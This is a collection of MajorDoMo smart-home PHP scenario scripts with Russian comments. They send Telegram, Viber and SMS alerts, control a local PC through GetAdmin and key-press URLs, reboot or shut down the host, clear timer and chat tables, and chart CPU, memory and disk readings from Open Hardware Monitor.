// runScript("sendTelegram",array("user"=>'ИмяПользователя',"cmd"=>'НазваниеКоманды'));
// runScript("sendTelegram",array("user"=>'ИмяПользователя',"msg"=>'ТекстСообщения'));
// ИмяПользователя - название объекта пользователя с заполненым свойством TelegramID
// НазваниеКоманды - название существующей команды из модуля Telegram
// ТекстСообщения - сообщение для отправки
$user = $params['user']; //получаем имя пользователя переданное через параметр запуска
if ($user == '') {return;} //если имя пользователя не заданно - прекращаем выполнение сценария
include_once(DIR_MODULES.'telegram/telegram.class.php'); //подключаем модуль Telegram
$telegram_module = new telegram(); //активируем модуль Telegram
$tID = gg($user.'.TelegramID'); //считываем id пользователя в переменную из свойства TelegramID
$tMSG = $params['msg']; //получаем текст отправляемого сообщения переданное через параметр запуска
$tCMD = $params['cmd']; //получаем имя команды переданной через параметр запуска
//если сообщение не пустое
if ($tMSG != "") {
$user = mb_strtolower($user); //переводим имя пользователя в нижний регистр (на всякий случай)
if ($user == 'all') {$telegram_module->sendMessageToAll($tMSG);} //если имя пользователя all, то шлём сообщение всем
if ($user == 'admin') {$telegram_module->sendMessageToAdmin($tMSG);} //если имя пользователя ADMIN, то шлём сообщение только ему
if ($user != 'all' or $user != 'admin') {$telegram_module->sendMessageToUser($tID, $tMSG);} //если имя пользователя не all или не admin, то шлём сообщение тому, который указан в параметрах запуска
return; //прекращаем выполнение сценария
}
//если имя команды не пустое
if ($tCMD != "") {
$telegram_module->execCommand($tID, $tCMD); //выполняем указанную команду от имени указанного пользователя
return; //прекращаем выполнение сценария
}
|
SendToNotifyEvents
|
Сценарий для упрощения работы с notify.events (сообщение в Вайбер)
// Сценарий для упрощения работы с https://notify.events/ (сообщение в Вайбер)
// Примеры использования:
// runScript('SendToNotifyEvents', array('text' => 'Test notification'));
// В настройках, в обработчики rs('SendToNotifyEvents', array('text'=>$ph));
$url = gg('admin.API');
$text = isset($params['text']) ? $params['text'] : "Notification text not specified";
$options = array(
'http' => array(
'header' => "Content-type: application/x-www-form-urlencoded\r\n",
'method' => 'POST',
'content' => http_build_query(array('text' => $text))
)
);
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
if ($result === false) {
echo 'Error';
} else {
echo 'Done';
}
|
smsRU_motion
|
Отправка СМС сообщений на номер ### - Обнаружено движение в Зале
include_once(DIR_MODULES . 'sms_ru/sms_ru.class.php');
$notify = new sms_ru();
$notify->sendNotifyAll("Обнаружено движение в Зале!",11);
|
smsRU_Security
|
Отправка СМС сообщений на номер ### - Режим охраны активирован
include_once(DIR_MODULES . 'sms_ru/sms_ru.class.php');
$notify = new sms_ru();
$notify->sendNotifyAll("Режим охраны Smart Home System активирован!",11);
rs("sendTelegram",array("user"=>'Admin',"msg"=>'Режим охраны Smart Home System активирован!'));
rs('SendToNotifyEvents', array('text' =>'Режим охраны Smart Home System активирован! $date')); // отправка сообщения в Viber
|
addGetAdmin
|
Сценарий для работы с программой GetAdmin
/*
* Сценарий 'addGetAdmin' для MajorDoMo
* автор: Владимир Попов, на форуме - Vovix
* дата последнего изменения: 18.01.2018
* обязательно наличие программы GetAdmin на управляемом устройстве (ПК)
* runScript('getAdmin', array('url'=>$хххх,'cmd'=>$yyyy,'port'=>$zzzz,'doit'=>$qqqq))
*/
$addGA_ot = ($params['name'] == '') ? gg("Sets.addGA_name") : $params['name'];
$addGA_cmd = ($params['cmd'] == '') ? gg("Sets.addGA_cmd") : $params['cmd'];
$addGA_path = ($params['path'] == '') ? gg("Sets.addGA_path") : $params['path'];
$addGA_path = str_ireplace('/', '\\', $addGA_path);
$addGA_param = ($params['param'] == '') ? gg("Sets.addGA_param") : $params['param'];
$addGA_show = ($params['show'] == '') ? gg("Sets.addGA_show") : $params['show'];
$GA_ip = gg($addGA_ot.'.IPint');
$GA_port = gg($addGA_ot.'.port');
$GA_online = gg($addGA_ot.'.online');
$GA_ol_color = gg($addGA_ot.'.online_color');
$addGA_file = '\\\\'.$GA_ip.'\\GetAdmin\\GetAdmin.ini';
switch ($GA_online) { // для fa
case 0:
$fa1 = "question-";
break;
case 1:
$fa1 = "check-";
break;
case 2:
$fa1 = "times-";
break;
default:
// вообще, сюда попасть мы не должны
$fa1 = "";
}
$str = '<i class="fa fa-'.$fa1.'circle" aria-hidden="true" style="color:'.$GA_ol_color.';"></i> <b>'.$addGA_ot.'</b>';
$timeGA = 'Время и дата выполнения: <span style="float: right;"><b>'.date( "H:i:s - d.m.Y", time()).'</span></b>';
$str = $str.'<br>'.$timeGA;
$str = $str.'<hr>';
$imput = "";
$impstr = "";
//$str = $str.'<span style="float: right;">наж. на красн.ком.и потом выполн.</span><br>'.$timeGA;
if (file_exists($addGA_file)) { // проверим доступность файла GetAdmin.ini
// файл доступен, формируем список команд из него
$config = parse_ini_file('\\\\'.$GA_ip.'\\GetAdmin\\GetAdmin.ini',true);
if (!copy($addGA_file, $addGA_file.'.old')) { // скопируем файл ini с изменением расширения и проверим смоги ли
// не смогли скопировать
} else { // смогли скопировать
$count = $config[Properties][Count];
$input = "[Properties]"."\r\n";
$inpstr = '<font color="blue"><b>[Properties]</b></font><br>';
foreach($config[Properties] as $key=>$object) {
if ($key == 'Count') { $object = $object + 1; }
$input = $input.$key.'='.$object."\r\n";
$inpstr = $inpstr.'<font color="green">'.$key.'</font>='.$object."<br>";
}
$c_str = $count * 4;
$i = 0;
$input = $input."[Commands]"."\r\n";
$inpstr = $inpstr.'<font color="blue"><b>[Commands]</b></font><br>';
foreach($config[Commands] as $key=>$object) {
if (($i == $c_str)||($i == $c_str + 1)||($i == $c_str + 2)||($i == $c_str + 3)) {
if (strpos($key, "Command") !== false) {
$key = "Command_".$count;
$object = $addGA_cmd;
}
if (strpos($key, "Path") !== false) {
$key = "Path_".$count;
$object = $addGA_path;
}
if (strpos($key, "Param") !== false) {
$key = "Param_".$count;
$object = $addGA_param;
}
if (strpos($key, "show") !== false) {
$key = "show_".$count;
$object = $addGA_show;
}
}
$input = $input.$key.'='.$object."\r\n";
$inpstr = $inpstr.'<font color="green">'.$key.'</font>='.$object.'<br>';
$i++;
}
$fd = fopen( $addGA_file , "w+" );
fwrite( $fd , $input , strlen( $input ) );
fclose( $fd );
}
} else {
// файл GetAdmin.ini не доступен, выясним причины
$str = $str.'<hr>';
$provresult = getURL('http://'.$GA_ip.':'.$GA_port.'/?chk=GetAdmin', 0); // проверим выполив заведомо имеющейся командой
switch ($GA_online) { // проверим варианты с учетом online/offline терминала
case 0:
case 2:
$str = $str.'<font size="+1" color="red">Не выполнено!</font><br>';
$str = $str.'Возможные причины:<br>';
if ($provresult == false) {
$str = $str.'- нет доступа по сети к <b>'.$addGA_ot.'</b>;<br>';
$str = $str.'- GetAdmin на <b>'.$addGA_ot.'</b> не установлен;<br>';
$str = $str.'- на <b>'.$addGA_ot.'</b> GetAdmin не запущен;<br>';
$str = $str.'- настройки доступа к GetAdmin ошибочны.<br>';
} else {
$str = $str.'- к папке GetAdmin на <b>'.$addGA_ot.'</b> нет доступа;<br>';
$str = $str.'- GetAdmin на <b>'.$addGA_ot.'</b> в другой папке.<br>';
}
break;
case 1:
$str = $str.'<font size="+1" color="red">Не выполнено!</font><br>';
$str = $str.'Возможные причины:<br>';
if ($provresult == false) {
$str = $str.'- GetAdmin на <b>'.$addGA_ot.'</b> не установлен;<br>';
$str = $str.'- на <b>'.$addGA_ot.'</b> GetAdmin не запущен;<br>';
$str = $str.'- настройки доступа к GetAdmin ошибочны.<br>';
} else {
$str = $str.'- к папке GetAdmin на <b>'.$addGA_ot.'</b> нет доступа;<br>';
$str = $str.'- GetAdmin на <b>'.$addGA_ot.'</b> в другой папке.<br>';
}
break;
default:
// вообще, сюда попасть мы не должны
echo "ошибка в режиме онлайн!";
}
}
$str = $str.$inpstr;
sg($addGA_ot.".addGA_result", $str); // записываем в свой объект
sg("Sets.addGA_result", $str); // записываем для меню
|
Chrome_start
|
Запуск Браузера
//Для Ubuntu
//safe_exec("sudo /home/alisa/chrome-http___127.0.0.1_popup_scenes_3.html.desktop");
//Для Windows
|
Clear_All_Timers
|
Чистка всех таймеров
SQLExec("DELETE FROM jobs");
|
DELETE_Chat
|
Очистка истории чата с Алисой
say ("Произвожу стирание истории чата");
SQLExec("DELETE FROM shouts");
|
key_Ctrl+W
|
Закрывает активную вкладку
//Для Ubuntu
//safe_exec("export XAUTHORITY=/home/alisa/.Xauthority; export DISPLAY=:0; xdotool key F11");
//Для Windows
//shell_exec("C:\_majordomo\htdocs\sounds\F11.vbs");
//shell_exec("C:\_majordomo\htdocs\sounds\Start.bat");
getURL('http://192.168.1.8:8585/?key=CTRL+W');
|
key_ESC
|
Отправляет нажатие клавиши ESC
//Для Ubuntu
//safe_exec("export XAUTHORITY=/home/alisa/.Xauthority; export DISPLAY=:0; xdotool key F11");
//Для Windows
//shell_exec("C:\_majordomo\htdocs\sounds\ESC.vbs");
//shell_exec("C:\_majordomo\htdocs\sounds\Start.bat");
getURL('http://192.168.1.8:8585/?key=ESC');
|
key_F11
|
Отправляет нажатие клавиши F11
//Для Ubuntu
//safe_exec("export XAUTHORITY=/home/alisa/.Xauthority; export DISPLAY=:0; xdotool key F11");
//Для Windows
//shell_exec("C:\_majordomo\htdocs\sounds\F11.vbs");
//shell_exec("C:\_majordomo\htdocs\sounds\Start.bat");
getURL('http://192.168.1.8:8585/?key=F11');
|
Kill_Chrome
|
Закрыть Браузер
//Для Ubuntu
//safe_exec("killall chromium-browser");
//Для Windows
safe_exec("C:\_majordomo\htdocs\sounds\ALT_F4.vbs");
//getURL('http://192.168.1.8:8585/?key=F4');
|
maintenance
|
Автоматическое обслуживание системы
require(ROOT.'scripts/startup_maintenance.php');
|
off_Ubuntu
|
Отключение ноутбука
//Для Windows
//shell_exec("shutdown /s /f /m \\\\127.0.0.1 /t 60");
safe_exec('c:\_majordomo\apps\nircmd\nircmd.exe script "c:\_majordomo\off_sys.ncl"');
//Для Ubuntu
//safe_exec("sudo shutdown -h now");
|
OHM
|
Мониторинг системных ресурсов (старое)
//-----------------------Данные с ohm сценарий
$ch = curl_init('http://192.168.1.8:8085/data.json');//здесь заменить IP на свой http://*:8085/data.json
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$ohm = curl_exec($ch);
$json = json_decode($ohm);
//----------------------- Вытягиваем данные
$CpuLoad = $json -> {'Children'}[0] -> {'Children'}[1] -> {'Children'}[2] ->{'Children'}[0] -> {'Value'};
$CpuTemp = $json -> {'Children'}[0] -> {'Children'}[1] -> {'Children'}[1] ->{'Children'}[0] -> {'Value'};
$Memory = $json -> {'Children'}[0] -> {'Children'}[2] -> {'Children'}[0] ->{'Children'}[0] -> {'Value'};
//----------------------- Просматриваем данные
echo "<br \>";
echo "Загрузка процессора";echo "  ";print_r("$CpuLoad");
echo "<br \>";
echo "Температура процессора";echo "  ";print_r("$CpuTemp");
echo "<br \>";
echo "Занято оперативки";echo "  ";print_r("$Memory");
//----------------------- Присваеваем данные
setGlobal('ThisComputer.Cpu_Load',intval($CpuLoad));
setGlobal('ThisComputer.Cpu_Temp',intval($CpuTemp));
setGlobal('ThisComputer.System_memory',intval($Memory));
|
OHM_data
|
Состояние системы
//----------------------- Подключаемся к OHM ------------------------------------------------------
$ch = curl_init('http://192.168.1.8:8085/data.json');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$ohm = curl_exec($ch);
$json = json_decode($ohm);
//----------------------- Вытягиваем данные OHM ---------------------------------------------------
//$mb_fan =(float) $json -> {'Children'}[0] -> {'Children'}[0] -> {'Children'}[0] -> {'Children'}[2] -> {'Children'}[0] -> {'Value'};
$cpu_tip = $json -> {'Children'}[0] ->{'Children'}[1] -> {'Text'};
$cpu_temp = (float) $json -> {'Children'}[0] -> {'Children'}[1] -> {'Children'}[1] -> {'Children'}[0] -> {'Value'};
$cpu_load = (float) $json -> {'Children'}[0] -> {'Children'}[1] -> {'Children'}[2] -> {'Children'}[0] -> {'Value'};
$memory = (float) $json -> {'Children'}[0] -> {'Children'}[2] -> {'Children'}[0] ->{'Children'}[0] -> {'Value'};
$disk_used = (float) $json -> {'Children'}[0] -> {'Children'}[3] -> {'Children'}[1] -> {'Children'}[0] -> {'Value'};
//----------------------- Просматриваем данные ----------------------------------------------------
echo "<br \>";
echo "Загрузка процессора";echo "  ";print_r("$cpu_load");
echo "<br \>";
echo "Температура процессора";echo "  ";print_r("$cpu_temp");
echo "<br \>";
echo "Занято оперативки";echo "  ";print_r("$memory");
echo "<br \>";
echo "Занято HDD";echo "  ";print_r("$disk_used");
//----------------------- Присваеваем значения ----------------------------------------------------
$color = "grey";
sg('ThisComputer.CPUtip', $cpu_tip);
$g_line[0] = " ";
$g_line[1] = " _";
$g_line[2] = " _ _";
$g_line[3] = " _ _ _";
$g_line[4] = " _ _ _ _";
$g_line[5] = " _ _ _ _ _";
$g_line[6] = " _ _ _ _ _ _";
$g_line[7] = " _ _ _ _ _ _ _";
$g_line[8] = " _ _ _ _ _ _ _ _";
$g_line[9] = " _ _ _ _ _ _ _ _ _";
$g_line[10] = " _ _ _ _ _ _ _ _ _ _";
$g_line[11] = " _ _ _ _ _ _ _ _ _ _ _";
$g_line[12] = " _ _ _ _ _ _ _ _ _ _ _ _";
$g_line[13] = " _ _ _ _ _ _ _ _ _ _ _ _ _";
$g_line[14] = " _ _ _ _ _ _ _ _ _ _ _ _ _ _";
$g_line[15] = "_ _ _ _ _ _ _ _ _ _ _ _ _ _ _";
//--------------------- скорость вентилятора ----------------------------------------------------
/*sg('ThisComputer.MBfan1', $mb_fan);
$maxfan = gg('ThisComputer.maxfan'); // максимальное значене которое было
$minfan = gg('ThisComputer.minfan'); // минимальное значене которое было
if ($mb_fan > $maxfan) {
sg('ThisComputer.maxfan', $mb_fan);
$maxfan = $mb_fan;
}
if ($mb_fan < $minfan) {
sg('ThisComputer.minfan', $mb_fan);
$minfan = $mb_fan;
}
// вычтем и приведем к процентам
$prchs = (($mb_fan - $minfan) < 0) ? 0 : ($mb_fan - $minfan);
$prznm = (($maxfan - $minfan) <= 0) ? 1 : ($maxfan - $minfan);
$x = round ($prchs * 100 / $prznm);
sg('ThisComputer.MBfan1_100', $x);
*/
//---------------------- загрузка процессора -----------------------------------------------------
sg('ThisComputer.CPUload', $cpu_load);
$l15 = round ($cpu_load / 6.66); // чтобы из 15 значений 100/15 = 6,(6)
$l15_line = $g_line[$l15];
sg('ThisComputer.CPUload_-1', $l15_line);
// и цвет для неё
if (($cpu_load >= 0) && ($cpu_load < 30)) {
$color = 'lime';
} else if (($cpu_load >= 30) && ($cpu_load < 45)) {
$color = 'greenyellow';
} else if (($cpu_load >= 45) && ($cpu_load < 60)) {
$color = 'yellow';
} else if ($cpu_load >= 60) {
$color = 'red';
} else {
$color = 'grey';
}
sg ('ThisComputer.CPUload_color', $color);
sg ('ThisComputer.CPUload_color_-1', $color);
// сдвинем значения с вылетом последнего
for ($i = 9; $i >= 0; $i--) {
$j = $i - 1;
sg ('ThisComputer.CPUload_'.$i, gg('ThisComputer.CPUload_'.$j));
sg ('ThisComputer.CPUload_color_'.$i, gg('ThisComputer.CPUload_color_'.$j));
}
// -------------------- Температура процессора --------------------------------------------------------
$maxtemp = 75;
$mintemp = 25;
$kf = ($maxtemp - $mintemp)/15; // 15 это делений на индикаторе
sg('ThisComputer.CPUtemp', $cpu_temp);
$t15 = round (($cpu_temp - $mintemp) / $kf); // чтобы шкала начиналась с $mintemp
if ($cpu_temp <= $mintemp) {
$t15 = 0; // и оганичим нижнее значение на 0
} elseif ($cpu_temp >= $maxtemp) {
$t15 = 15; // ограничим максимум на 15 делений
}
$t15_line = $g_line[$t15];
sg('ThisComputer.CPUtemp_-1', $t15_line);
// и цвет для неё
if (($cpu_temp >= 0) && ($cpu_temp < 45)) {
$color = 'lime';
} else if (($cpu_temp >= 45) && ($cpu_temp < 60)) {
$color = 'greenyellow';
} else if (($cpu_temp >= 60) && ($cpu_temp < 70)) {
$color = 'yellow';
} else if ($cpu_temp >= 70) {
$color = 'red';
} else {
$color = 'grey';
}
sg ('ThisComputer.CPUtemp_color', $color);
sg ('ThisComputer.CPUtemp_color_-1', $color);
// сдвинем значения с вылетом последнего
for ($i = 9; $i >= 0; $i--) {
$j = $i - 1;
sg ('ThisComputer.CPUtemp_'.$i, gg('ThisComputer.CPUtemp_'.$j));
sg ('ThisComputer.CPUtemp_color_'.$i, gg('ThisComputer.CPUtemp_color_'.$j));
}
// -------------------- Использование диска -------------------------------------------------------------
$bytes = disk_free_space(".");
$si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
$base = 1024;
$class = min((int)log($bytes , $base) , count($si_prefix) - 1);
$disk_used = round($bytes / pow($base,$class)); // . ' ' . $si_prefix[$class];
$disk_used_percent = round($disk_used*100/100, 0);
setGlobal('ThisComputer.DISKused', $disk_used);
setGlobal('ThisComputer.DISKusedPersent', $disk_used_percent);
$color = ($disk_used < 80) ? "lime" : "red";
sg ('ThisComputer.DISKused_color', $color);
/*
setGlobal('ThisComputer.DISKused', $disk_used);
$color = ($disk_used < 80) ? "lime" : "red";
sg ('ThisComputer.DISKused_color', $color);
*/
// ---------------------- Использование ОЗУ -------------------------------------------------------------
setGlobal('ThisComputer.System_memory', $memory);
$color = ($Memory < 85) ? "lime" : "red";
sg ('ThisComputer.System_memory_color', $color);
// -------------------- преобразование Uptime -----------------------------------------------------------
//$uptime = gg('ThisComputer.uptime');
//$uptime_str = secondsToString($uptime);
//sg ('ThisComputer.uptime_str', $uptime_str);
|
rebootMJD
|
say('Внимание, перегружаюсь!', 2);
sleep(5);
safe_exec('c:\_majordomo\apps\nircmd\nircmd.exe script "c:\_majordomo\reboot_mjd.ncl"');
|
rebootSys
|
say('Перезагрузка машины!', 2);
sleep(5);
safe_exec('c:\_majordomo\apps\nircmd\nircmd.exe script "c:\_majordomo\reboot_sys.ncl"');
|
Screen_on
|
Включение экрана после засыпания, отправляет нажатие клавиши пробел (space)
//Для Ubuntu
//safe_exec("export XAUTHORITY=/home/alisa/.Xauthority; export DISPLAY=:0; xdotool key space");
//Для Windows
//shell_exec("C:\_majordomo\htdocs\sounds\ESC.vbs");
//safe_exec("C:\_majordomo\htdocs\sounds\ESC.vbs");
getURL('http://192.168.1.8:8585/?key=SPACE');
|
Server_restart
|
Перезапуск Алисы
//Для Windows
shell_exec("shutdown /r /m \\\\127.0.0.1 /t 60");
//Для Ubuntu
//safe_exec("sudo reboot");
|
Status_report
|
Состояние системы
// Доложить о состоянии
$details = array();
$alarms = array();
if (gg("System.stateColor") != "lime") {
$details[] = "Обнаружена ошибка работы системы";
$details[] = gg("System.stateDetails");
}
if (gg("Communication.stateColor") != "lime") {
$details[] = "Обнаружена ошибка работы коммуникаций";
$details[] = gg("Communication.stateDetails");
}
if (gg("Security.stateColor") != "lime") {
$details[] = "Обнаружена ошибка безопасности";
$details[] = gg("Security.stateDetails");
}
if (gg("RaspberryLight.stateColor") != "lime") {
$details[] = "Обнаружена ошибка управления освещением.";
$details[] = gg("RaspberryLight.stateDetails");
}
if (gg("Elektro.stateColor") != "lime") {
$details[] = "Обнаружена ошибка внешнего питания.";
$details[] = gg("Elektro.stateDetails");
}
if (!$details) {
$details[] = "Все системы работают в штатном режиме!";
}
sayReply (implode(". ",$details),5);
//проверка будильников
/* $objects=getObjectsByClass("AlarmClock");
foreach($objects as $obj) {
// переберем все будильники в системе
if (getGlobal($obj['TITLE'].".AlarmOn")){
//если будильник включен
$AlarmName = getGlobal($obj['TITLE'].".name");
$AlarmTime = getGlobal($obj['TITLE'].".AlarmTime");
$alarms[]=("Будильник ".$AlarmName." установлен на ".$AlarmTime);
}
}
if (!$alarms) {
$alarms[]="Будильников включенных в настоящий момент нет.";
};
say (implode(". ",$alarms),1);
if (gg("Sets.all_lights_off")==0) {
say ("Весь свет на втором этаже выключен.",1);
}
else {
$objects=getObjectsByClass("SButtons");
foreach($objects as $obj) {
// переберем все модули освещения
if (getGlobal($obj['TITLE'].".status")){
//если свет включен
$RoomName = $obj['TITLE'];
say ("Свет сейчас включен: ".str_replace("_"," ",$RoomName),1);
}
}
}
*/
|
timer_Xs
|
Выполнение скрипта раз в 5 сек
clearTimeout("timer_Xs_timeout");
//runScript('OHM');
runScript('OHM_data');
runScript('Uptime');
setTimeOut("timer_Xs_timeout", "runScript('timer_Xs');", 5);
|
Uptime
|
Определение времени работы
$s = getGlobal('ThisComputer.uptime');
$d = floor($s / 86400);
$h = floor(($s % 86400)/3600);
$m = floor(($s % 3600)/60);
$uptime = "$d д. $h ч. $m м.";
echo "Время работы: $uptime";
sg('ThisComputer.System_uptime',$uptime);
|